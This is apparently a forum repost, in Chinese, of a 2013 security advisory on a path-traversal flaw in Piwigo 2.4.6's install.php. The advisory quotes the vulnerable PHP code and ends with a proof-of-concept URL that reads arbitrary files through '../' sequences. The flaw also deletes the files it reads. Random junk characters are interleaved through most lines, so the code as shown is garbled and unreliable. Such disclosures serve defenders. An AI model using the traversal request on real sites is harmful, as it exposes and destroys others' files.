Piwigo是用PHP编写的相册脚本。
; w9 T( X% }* u7 I& D5 \ l y* [ s
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
. x# P* Q1 H$ D====================================================================: m+ n7 Y; r7 y- w5 ~
/install.php:
, o9 Q7 p5 U: a2 E) S-------------
( ^1 g0 Y: ]8 Y9 H% k113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])) ^, C+ \) b0 s% c3 P9 M! [
114: {% |9 w2 [; H d
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];: U4 {' K( n: g: C% M' Y5 t
116: header('Cache-Control: no-cache, must-revalidate');
) ?* R b% F7 m* |( Z9 m/ {117: header('Pragma: no-cache');
8 h3 y7 X9 i, o1 g- K+ ~- o- ?' q118: header('Content-Disposition: attachment; filename="database.inc.php"');
% y4 N% K! W6 o6 F119: header('Content-Transfer-Encoding: binary');! A7 I" p- @& s+ g9 R: h/ k
120: header('Content-Length: '.filesize($filename));
: R6 S: K; [4 r$ z! E& @121: echo file_get_contents($filename);- {7 }. x% w. b, z+ g& [
122: unlink($filename);' r" b, p, y/ x7 z5 C& X$ V
123: exit();
e6 b! B( t8 T; e124: }
# w. I8 ?- b) L5 B1 }, i====================================================================) H# [2 F/ X1 c3 J: y
/ T. ~ w: Z. w/ u
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
7 _+ V% E! v3 V4 b Apache 2.4.2 (Win32)
: D6 R. n( X9 m/ l PHP 5.4.4
4 x5 M5 S: x9 e: O6 W MySQL 5.5.25a
* ^; s. o+ f' U% r
5 i3 U# X8 n, H" iVulnerability discovered by Gjoko 'LiquidWorm' Krstic% Z) u. p3 j0 R' E/ {; D
@zeroscience: y+ |7 g5 r: X, W M* H. X9 i
3 I# Z( Q# S1 U3 K: R1 J" r
Advisory ID: ZSL-2013-5127
0 F6 [& V [# a2 w/ OAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
! }7 Q+ U/ Q- r; |) X" Q% PVendor Patch: http://piwigo.org/bugs/view.php?id=2843! j# ]1 z2 U7 m& S( Q2 w2 m
i& Q8 t% c/ z15.02.2013! Z* ~5 U+ D8 P, Y( y: m$ d
h; {0 T$ l8 b
--, |" j1 b( N) Y9 d9 o: w
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt% O* o. _5 C% I
- c \0 v, p; b
|